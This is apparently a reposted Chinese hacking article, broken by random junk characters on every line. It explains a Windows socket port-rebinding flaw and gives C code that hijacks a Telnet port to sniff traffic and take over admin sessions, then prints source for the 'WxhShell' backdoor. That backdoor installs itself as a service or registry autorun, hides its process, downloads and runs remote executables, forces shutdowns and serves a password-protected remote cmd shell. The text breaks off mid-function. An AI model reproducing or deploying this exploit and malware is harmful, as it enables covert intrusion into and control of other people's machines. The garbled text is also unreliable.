在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RsY<j& f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
GM%|mFqeu 5p>a]gp saddr.sin_family = AF_INET;
hZFbiGQr\ z(m*]kpL" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"au"\} 0 #q_LB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lDH0bBmd0 saV3<zgx 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
OVd"'|&6_ tQ)8HVKF 这意味着什么?意味着可以进行如下的攻击:
W$3p,VTMmB `KL`^UqR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V`%m~#Me dv,8iOL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Gzs x0%`) HU'd/5fun 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ve=0_GR0 ;6]+/e7O 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[$V_qFv{ _
x7Vyy5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q~]R#S qV^H vZJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>Z3}WMgBN uM\~*@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2`lit@u&u LHacHv #include
XJQ[aU"[]N #include
~@-Az([H #include
sz)3
z #include
W<x2~HW( DWORD WINAPI ClientThread(LPVOID lpParam);
YZoudX'" int main()
9 ROKueP {
jem$R/4" WORD wVersionRequested;
"_(o% \"7 DWORD ret;
<y!BO WSADATA wsaData;
jf})"fz-* BOOL val;
ou(9Qf zN SOCKADDR_IN saddr;
Z^h4%o-l{ SOCKADDR_IN scaddr;
}&!rIU int err;
xLGAP-mx] SOCKET s;
ZSbD4
|_ SOCKET sc;
X-ml0
=M[ int caddsize;
wRuJein# HANDLE mt;
6IvLr+I DWORD tid;
P_qxw-s wVersionRequested = MAKEWORD( 2, 2 );
l&C%oW err = WSAStartup( wVersionRequested, &wsaData );
;bZ)q if ( err != 0 ) {
Ohjqdv@ printf("error!WSAStartup failed!\n");
}vm17`Gfy return -1;
W9u( }
;[6u79;I saddr.sin_family = AF_INET;
*+J&ebSTN $GYy[-.` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]=pEs6%O3 & XrV[d[> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Bz24U wcZ saddr.sin_port = htons(23);
?G3OAx?< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uxR_(~8 {
9(H8MUF0{ printf("error!socket failed!\n");
%;zA_Wg return -1;
AQFx>:in }
}XAoMp val = TRUE;
` "9Y.KU //SO_REUSEADDR选项就是可以实现端口重绑定的
!,1~:*: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;z[yNW8 {
is`a_{5e= printf("error!setsockopt failed!\n");
ha(hG3C return -1;
IP~g7`Y }
v=/V<3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l,d8%\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#}A!Bk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D}_\oE/n a1GyI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Xe%n.DW m {
PS6G 7 ret=GetLastError();
zL>nDnL 4 printf("error!bind failed!\n");
iPs()IN.O return -1;
t%=ylEPW }
>Cf]uiR listen(s,2);
z~X] v["d while(1)
1W-!f% {
CwT52+Jb caddsize = sizeof(scaddr);
#ocT4 //接受连接请求
NcPzmW{#;g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3nG(z> if(sc!=INVALID_SOCKET)
=si<OB {
"3!4 hiU9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wlkS+$< if(mt==NULL)
7-(tTBH {
JM M\ printf("Thread Creat Failed!\n");
0tl break;
yyZjMnuD }
<iTaJa$0m }
578Dl(I#) CloseHandle(mt);
O[-wm;_(=* }
{9)LHX7dN closesocket(s);
^^)Pv#[3 WSACleanup();
`!rHH return 0;
} #$Y^ +UN }
9}": }! DWORD WINAPI ClientThread(LPVOID lpParam)
mjH8q&szf {
Kp!P/Q{ SOCKET ss = (SOCKET)lpParam;
2o{Fp7l SOCKET sc;
&hZcjdB unsigned char buf[4096];
:yw0-]/DD SOCKADDR_IN saddr;
ku\_M long num;
E|Z Y2&J`4 DWORD val;
S"fnT*:.% DWORD ret;
IU3OI:uq //如果是隐藏端口应用的话,可以在此处加一些判断
rYc?y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lMlXK4- saddr.sin_family = AF_INET;
lZb1kq%9g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*S;v406 saddr.sin_port = htons(23);
)L^WD$"'Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-
5A"TNU {
%1e`R*I printf("error!socket failed!\n");
8;+t.{ return -1;
ZfMJU }
`<[Zs]Fe4 val = 100;
A87Tyk2Pi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"IB)=Hc {
RJ@d_~%U ret = GetLastError();
Mc{1Cdj return -1;
ZLBfQ+pM) }
V_0e/7}Ya if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"bC8/^ {
0PTB3- ret = GetLastError();
t7n*kiN<q return -1;
rMLCtGi }
cC>.`1: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!a?o9<V {
As78yfK printf("error!socket connect failed!\n");
h/PWi<R
i closesocket(sc);
$(C71M|CT closesocket(ss);
9;q@;)'5 return -1;
+dR$;!WB3 }
'0w'||#1 while(1)
r@wWGbQ|L {
t t#M4n@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
T w/CJg
//如果是嗅探内容的话,可以再此处进行内容分析和记录
()XL}~I{!A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$zDW)%nAX num = recv(ss,buf,4096,0);
u5%.T0
P if(num>0)
AnI ENJ send(sc,buf,num,0);
U9kt7#@FDK else if(num==0)
5P+3D{ break;
XPb7gd"%W num = recv(sc,buf,4096,0);
8`'_ckIgr if(num>0)
~vG~Z*F send(ss,buf,num,0);
3"&6rdF\jB else if(num==0)
UB?a-jGZK break;
"jb?P$ }
0I079fqk< closesocket(ss);
'J+Vw9s7 closesocket(sc);
d0IHl!X return 0 ;
>.~^( }
^'[Rb!Q8 H@'Y>^z? b\H~Ot[i ==========================================================
Mx[tE?!2 G8eAj%88 下边附上一个代码,,WXhSHELL
)%WS(S>8 =3""D{l ==========================================================
f+ J<sk =suj3.
#include "stdafx.h"
7&OU!gp 8tLkJOu #include <stdio.h>
Gz$DsaG #include <string.h>
wGAN"K:e #include <windows.h>
P4ot,Q4 #include <winsock2.h>
c tTbvXP #include <winsvc.h>
Cv~ t~ #include <urlmon.h>
Q!|. ,?V En-eG37l #pragma comment (lib, "Ws2_32.lib")
rzY7f: ' #pragma comment (lib, "urlmon.lib")
e2 Ba@e- A+NLo[swwu #define MAX_USER 100 // 最大客户端连接数
u6cWLVt #define BUF_SOCK 200 // sock buffer
$UO7AHk #define KEY_BUFF 255 // 输入 buffer
ym8\q:N(R nA5v+d-<T #define REBOOT 0 // 重启
&c?-z}=G #define SHUTDOWN 1 // 关机
"k5 C? ~ *#dXW\8qu #define DEF_PORT 5000 // 监听端口
V#C[I~l 19&!#z #define REG_LEN 16 // 注册表键长度
0t6s20*q #define SVC_LEN 80 // NT服务名长度
z`m-Ca>6 6^}GXfJAc // 从dll定义API
//f[%j*> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[Gy sx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h}rrsVj3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.\LWV=B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,$7LMTVDrE 1&U'pp|T // wxhshell配置信息
lg;`I tX] struct WSCFG {
x>p=1(L int ws_port; // 监听端口
J1P82=$, char ws_passstr[REG_LEN]; // 口令
*+lnAxRa? int ws_autoins; // 安装标记, 1=yes 0=no
5|wQeosXxI char ws_regname[REG_LEN]; // 注册表键名
c"77<Db$ char ws_svcname[REG_LEN]; // 服务名
pA"pt~6 char ws_svcdisp[SVC_LEN]; // 服务显示名
Xq+7l5LP char ws_svcdesc[SVC_LEN]; // 服务描述信息
qdvGBdF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&I <R|a int ws_downexe; // 下载执行标记, 1=yes 0=no
#li;L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
dV.)+X7< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.V
9E@_( hFyN|Dqhds };
@N1ta-D# \d]&}`'4{f // default Wxhshell configuration
<o^mQq& struct WSCFG wscfg={DEF_PORT,
~iydp "xuhuanlingzhe",
`p*7MZ9- 1,
uA*Op45 "Wxhshell",
5/>G)& "Wxhshell",
: :e=6i "WxhShell Service",
_nOio ? "Wrsky Windows CmdShell Service",
$bD 3 "Please Input Your Password: ",
>LwAG:Ud 1,
-L</,>p "
http://www.wrsky.com/wxhshell.exe",
/$]dVvhX% "Wxhshell.exe"
:G$NQ*(z };
%t:1)]2 X7Cou6r // 消息定义模块
!A&Vg # char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
L)HuQVc g char *msg_ws_prompt="\n\r? for help\n\r#>";
VDCrFZ!] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nNq| v=L char *msg_ws_ext="\n\rExit.";
eNi.d;8F char *msg_ws_end="\n\rQuit.";
4,wdIdSm4 char *msg_ws_boot="\n\rReboot...";
pG:FDlR~ char *msg_ws_poff="\n\rShutdown...";
I^0bEwqZ~ char *msg_ws_down="\n\rSave to ";
x]Q+M2g? |o|0qG@g char *msg_ws_err="\n\rErr!";
R8O<}>3a char *msg_ws_ok="\n\rOK!";
RR*z3i`PP 'R,1Jmx char ExeFile[MAX_PATH];
`{ou4H\ int nUser = 0;
O#CxS/M5 HANDLE handles[MAX_USER];
3QM.X^ANH int OsIsNt;
r]kLe2r:B ib;:* SERVICE_STATUS serviceStatus;
eWW\m[k]} SERVICE_STATUS_HANDLE hServiceStatusHandle;
onHUi]yYu{ oRmN|d ~4 // 函数声明
xAon:58m{ int Install(void);
=/Vr,y$ int Uninstall(void);
P=(\3ok int DownloadFile(char *sURL, SOCKET wsh);
A!W(> int Boot(int flag);
!@p@u;djJ void HideProc(void);
@1^iWM j int GetOsVer(void);
/'!F \ kz int Wxhshell(SOCKET wsl);
~?+Jt3?, void TalkWithClient(void *cs);
_lu.@IX- int CmdShell(SOCKET sock);
LtXFGPQ f int StartFromService(void);
V)_mo/D!D int StartWxhshell(LPSTR lpCmdLine);
/J wQ5 |!flR? OU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
rR^VW^|f VOID WINAPI NTServiceHandler( DWORD fdwControl );
"a>%tsl$K & i)p^AmM // 数据结构和表定义
<?2[]h:wp SERVICE_TABLE_ENTRY DispatchTable[] =
fL'
42 {
:M'3U g$t {wscfg.ws_svcname, NTServiceMain},
r}pYm'e {NULL, NULL}
^#vWdOlt };
"Do9gW j""u:l^+x // 自我安装
rP^2MH" int Install(void)
li$(oA2 {
CP["N(fF char svExeFile[MAX_PATH];
W5HC7o\4 HKEY key;
[gqV}Y"Md strcpy(svExeFile,ExeFile);
s)8g4Yc* _u]Wr%D@ // 如果是win9x系统,修改注册表设为自启动
L&. 9.Ll if(!OsIsNt) {
7o'kdYJzo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*^}(LoPZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AL3zE=BL RegCloseKey(key);
gX.4I; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
- YJ7ne] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z
r RegCloseKey(key);
OqHD=D[ return 0;
?.,..p }
"N D1$l }
bTb|@ }
&,3.V+Sz else {
6- s/\ xCiY
jl$ // 如果是NT以上系统,安装为系统服务
v`*!Bhc- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'\[GquK;P if (schSCManager!=0)
j^Bo0{{ {
A)/_: SC_HANDLE schService = CreateService
m';:): (
rB<
UOe schSCManager,
}3V Q*'X>i wscfg.ws_svcname,
>#)^4-e wscfg.ws_svcdisp,
W(9-XlYKE SERVICE_ALL_ACCESS,
z|<6y~5, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B24wn8< SERVICE_AUTO_START,
E&7U |$ SERVICE_ERROR_NORMAL,
9]xOuCb svExeFile,
N0vr>e` NULL,
Zb^0EbV NULL,
xbvZ7g^ NULL,
|Q@4F&k NULL,
1I<fp $h NULL
zL+jlUkE
);
OtBVfA:[ if (schService!=0)
F$^RM3 {
eYOwdTrq CloseServiceHandle(schService);
-V%"i,t CloseServiceHandle(schSCManager);
x32hO; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<V5(5gx strcat(svExeFile,wscfg.ws_svcname);
|p-, B>p! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&l/2[>D%4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|'aGj RegCloseKey(key);
LD0x 4zm$m return 0;
pW 2NrBq@w }
:54ik,l }
[sy~i{Bm CloseServiceHandle(schSCManager);
.!/DM-C }
RpOGY{[)[ }
&'TZU"_ 1~zzQ:jAZ
return 1;
[U5[;BNRD }
N^*%{[<5 ; $i{>mDT // 自我卸载
#.'0DWT\- int Uninstall(void)
|D~mLs;& {
&CpxD."8x HKEY key;
F>dB@V- iVu if(!OsIsNt) {
A,Wwt
[Qw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iVTC"v RegDeleteValue(key,wscfg.ws_regname);
aY@]mMz\ RegCloseKey(key);
,.A@U*j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k Pi%RvuQ RegDeleteValue(key,wscfg.ws_regname);
gFizw:l RegCloseKey(key);
iyKAw
return 0;
~! ;*C }
WYSqnmi }
MKf|(6;~ }
2Tec#eYe else {
zo6|1xq * ?x$q/a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S81%iz.n if (schSCManager!=0)
*:gx1wd {
~_8Dv<"a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6Ri+DPf: if (schService!=0)
4'up bI {
LeRyS] if(DeleteService(schService)!=0) {
I!eu|_cF CloseServiceHandle(schService);
l25_J.e CloseServiceHandle(schSCManager);
P{fT5K| return 0;
(VV5SvdE }
]9qY(m CloseServiceHandle(schService);
+O"!* }
6B`XHdCq CloseServiceHandle(schSCManager);
v3O+ ;4 }
@+Yql }
17P5Dr& -:cBVu-m return 1;
cq+G 0F+H }
u_H=Xm)9 KCP$i@Pjv // 从指定url下载文件
G5*"P!@6 int DownloadFile(char *sURL, SOCKET wsh)
]8@s+N {
/5:2g#S4 HRESULT hr;
C2}n &{T char seps[]= "/";
xB-\yWDZe
char *token;
#O 2g]YH char *file;
M^IEu} char myURL[MAX_PATH];
K|L&mL&8 char myFILE[MAX_PATH];
ncTPFv
H5 q8A ;%.ZLG strcpy(myURL,sURL);
=jv3O.z q token=strtok(myURL,seps);
dynkb901s while(token!=NULL)
WbJ|]}hJ\ {
MrjgV+P}[ file=token;
eJbZA&: token=strtok(NULL,seps);
43wm_4C!H }
'3<T~t GmhfBW? GetCurrentDirectory(MAX_PATH,myFILE);
Y"H'BT!b} strcat(myFILE, "\\");
)7]la/0 strcat(myFILE, file);
W(5XcP( send(wsh,myFILE,strlen(myFILE),0);
`PY=B$?{4 send(wsh,"...",3,0);
6-E>-9]'E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n?Zt\Kto if(hr==S_OK)
|7%has3" return 0;
CP0;<}k else
/U$5'BoS return 1;
F$/7X~* AQ%B&Q(V1 }
8c`EB-y =[JstiT?E // 系统电源模块
3d>8~ANi=% int Boot(int flag)
wqxChTbs {
srlxp_^ HANDLE hToken;
35Ro85j TOKEN_PRIVILEGES tkp;
'p FK+j 2#
72B if(OsIsNt) {
:o3> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&?[g8A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+Y?)? tkp.PrivilegeCount = 1;
2dsXG$-W2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<-6f}wN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:6gRoMb] if(flag==REBOOT) {
'VpzB
s# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gV}c4>v( return 0;
&]"Z x0t5% }
vh"wXu else {
a yYl3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*iX PG9XZ return 0;
*I:a\o~$[ }
lvAKL>qX }
3AcS$.G else {
^jbjHI& if(flag==REBOOT) {
mzRH:HgN? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u>ZH-nw O return 0;
{S@gjMuN }
iE0x7x P_ else {
l{I.l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jl>jy6T return 0;
:F8h}\a* }
3xk-D &" }
4wKQs&: 2=
Y8$- return 1;
2BKiA[
;; }
hG~HV{6 -zg 6^f_pW // win9x进程隐藏模块
YEa<zhO8 void HideProc(void)
z6*r<>Bf+b {
(gRTSd T? 00B,1Q HP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
w~C\5 i if ( hKernel != NULL )
=pZ$oTR {
?8qN8rk^+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w5 #;Lm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C{:U<q FreeLibrary(hKernel);
1Ep7CV-n} }
\kZ@2.pN j#~ S"t return;
j[Jwa*GQP }
"8p<NsU H:nO\] // 获取操作系统版本
C#V_Gb int GetOsVer(void)
\[G"/]J {
i#NtiZ.t= OSVERSIONINFO winfo;
`PZ\3SC'i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EQe$~}[ GetVersionEx(&winfo);
'rNLh3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:-_"[:t 5Z return 1;
O]Ey@7 & else
n&!q9CR` return 0;
Fh/psd }
:IX,mDO 9n49p? // 客户端句柄模块
NFy V02. int Wxhshell(SOCKET wsl)
P2&0bNY {
K5RgWP SOCKET wsh;
<*I*#WI&B struct sockaddr_in client;
Zt&
7p DWORD myID;
7~r_nP_ /2''EF'; while(nUser<MAX_USER)
%ikPz~( {
JqUft=p5 int nSize=sizeof(client);
qpQiMiB#g' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]XcWGQv~ if(wsh==INVALID_SOCKET) return 1;
8`s*+.LI! <isU D6TC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!3<b#QAXRG if(handles[nUser]==0)
'0^lMQMg closesocket(wsh);
EL%P v1 else
guVuO nUser++;
'[HBKn$` }
[wk1p-hf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gL~3z'$ R_9M-RP6* return 0;
-'}#j\ }
k&M~yb aTfc>A; // 关闭 socket
H2xDC_Fs void CloseIt(SOCKET wsh)
DxD\o+:r {
]heVR&bQ closesocket(wsh);
/l$fQ:l nUser--;
h@]{j_$u ExitThread(0);
?^J%S, }
BUdO:fr :`K2?;DC8 // 客户端请求句柄
PZvc4
void TalkWithClient(void *cs)
VeqB/QX {
n^rbc;} ~c55LlO> SOCKET wsh=(SOCKET)cs;
tJ*/5k
& char pwd[SVC_LEN];
[?=DPE% char cmd[KEY_BUFF];
<Qr*!-Kc6 char chr[1];
&G[W$2`@ int i,j;
,gW$m~\ QkWEVL@uM while (nUser < MAX_USER) {
9ei<ou_s >0u*E *Y if(wscfg.ws_passstr) {
;1s;" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4`'Rm/) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9=FH2|Z //ZeroMemory(pwd,KEY_BUFF);
Zl>wWJ3y i=0;
,S
m?2< while(i<SVC_LEN) {
R5mb4 C8i4z // 设置超时
<(~Wg{ fd_set FdRead;
R6`mmJ+' struct timeval TimeOut;
QpiDBJCL FD_ZERO(&FdRead);
I.Xbowl FD_SET(wsh,&FdRead);
B
qINU TimeOut.tv_sec=8;
\acGSW
.c TimeOut.tv_usec=0;
+3M1^: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*y(UI/c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<Fv7JPN% 5!wjYQt3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!]9qQ7+R% pwd
=chr[0]; m&#D ~
if(chr[0]==0xd || chr[0]==0xa) { [,;O$j}
pwd=0; Y9
Bk$$#\
break; nv(6NV
} J0YNzC4
i++; &_s^C?x
} RH$l?j6
!b+!] 2~g}
// 如果是非法用户,关闭 socket 0'Qvis[kt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~eS/gF?
} /1m+iM^V
"uj@!SEs`?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oA:`=f%\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aI|X~b
$VP\Ac,!
while(1) { i5_l//]
2f{a||
ZeroMemory(cmd,KEY_BUFF); wzmQRn;s
XWX]/j2jA
// 自动支持客户端 telnet标准 EY.m,@{
j=0; Qs?p)3qp
while(j<KEY_BUFF) { Q'hs,t1<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UZ6y3%G3^
cmd[j]=chr[0]; ~9,Fc6w4`+
if(chr[0]==0xa || chr[0]==0xd) { [jxh$}?P
cmd[j]=0; Y4lN xvY
break; eht>4)
} D{qr N6g#
j++; Zlt,Us`
} '|*e4n
(dx~lMI
// 下载文件 |N3#of(
if(strstr(cmd,"http://")) { )cL`$h4DD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U-$nwji
if(DownloadFile(cmd,wsh)) \/nSRAk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hBifn\dFr
else 0QW;=@)d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b/\l\\$-
} &m]jYvRc
else { 16nU`TN
ka{!' ^
switch(cmd[0]) { I>6zX
:~ 	
// 帮助 obv_?i1
case '?': { X`-o0HG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uc
; S@
break; K( ?p]wh
} \.GA"_y
// 安装 OB^j
b8
case 'i': { ux17q>G
if(Install()) w4&\-S#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SLH;iqPT
else !CY*SGO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79k+R9m
break; /)dyAX(
} y@AUSh;
// 卸载 W@%g_V}C*
case 'r': { JL<<EPC
if(Uninstall()) *iyc,f^w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jp_ :.4
else EN,}[^Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<K=G2_:
break; 3{Zd<JYg4-
} hvA|d=R(
// 显示 wxhshell 所在路径 _?K,Jc8j.
case 'p': { G
c,
char svExeFile[MAX_PATH]; 9Sa6v?sRor
strcpy(svExeFile,"\n\r"); }D3hP|.X
strcat(svExeFile,ExeFile); 9T1-{s
R
send(wsh,svExeFile,strlen(svExeFile),0); [o7Qr?RN
break; sv#b5,>9
} F ^m;xy
// 重启 QBfo=9[=e
case 'b': { Sogt?]HB$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~~m(CJ4S
if(Boot(REBOOT)) A ^zd:h-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Im]6-#(9\|
else { 6['o^>\}f
closesocket(wsh); o!c~"
ExitThread(0); ?V(+Cc
} 8KKhD$
break; 5dbj{r)s6i
} R+=wSG ]
// 关机 >9yy91H
case 'd': { 0h{&k7T<7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Q&k6.{4Z
if(Boot(SHUTDOWN)) Wdga(8t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVn_+1\L
else { 2i NZz
closesocket(wsh); <,U$Y>
ExitThread(0); s3K!~v\L]
} 58eO|c(
break; \6aisK
} _?eT[!oO8
// 获取shell T`]P5Bk8r
case 's': { 1S yG
CmdShell(wsh); hZ"Sqm]
closesocket(wsh); A!}Ps"Z
ExitThread(0); g8"H{u
break; [N<rPHT
} ,rNud]NM8
// 退出 FC]n?1?<(
case 'x': { C\^,+)Y\~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b&AeIU}&
CloseIt(wsh); ~)6EH`-
break; "M^mJl&*b
} Dz8aJ6g
// 离开 _c}# f\ +_
case 'q': { yW"[}Lh4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |.-Muv
closesocket(wsh); 2zuQeFsK
WSACleanup(); 0ZZ Wj%
exit(1); SzfMQ@~
break; q0NToVo@
} P.mlk>r
} t
>.=q:
} "^Y zHq6
Q8.LlE999
// 提示信息 H?V
b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%0To{MAF-
} @Qp#Tg<'
} ViG>gMG v
s=556
return; x@[6u
} Qd>\{$N
nyBT4e
// shell模块句柄 I~;H'7|e
int CmdShell(SOCKET sock) jX^_(Kg
{
MT$)A:"
STARTUPINFO si; ^MG"n7)X
ZeroMemory(&si,sizeof(si)); 6qWWfm/6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9`M7 -{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'rA(+-.M;
PROCESS_INFORMATION ProcessInfo; xJA{Hws
char cmdline[]="cmd"; rj4R/{h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #&%>kfeJ)<
return 0; Y%>u.HzL
} l kyK
Z9Z\2t
// 自身启动模式 $+$l?2
int StartFromService(void) hML-zZ
{ t+{vbS0
typedef struct H6U5-
{ Mz\l
C)\B
DWORD ExitStatus; z%\&n0
DWORD PebBaseAddress; &y(%d 7@/
DWORD AffinityMask; {w7/M]m-
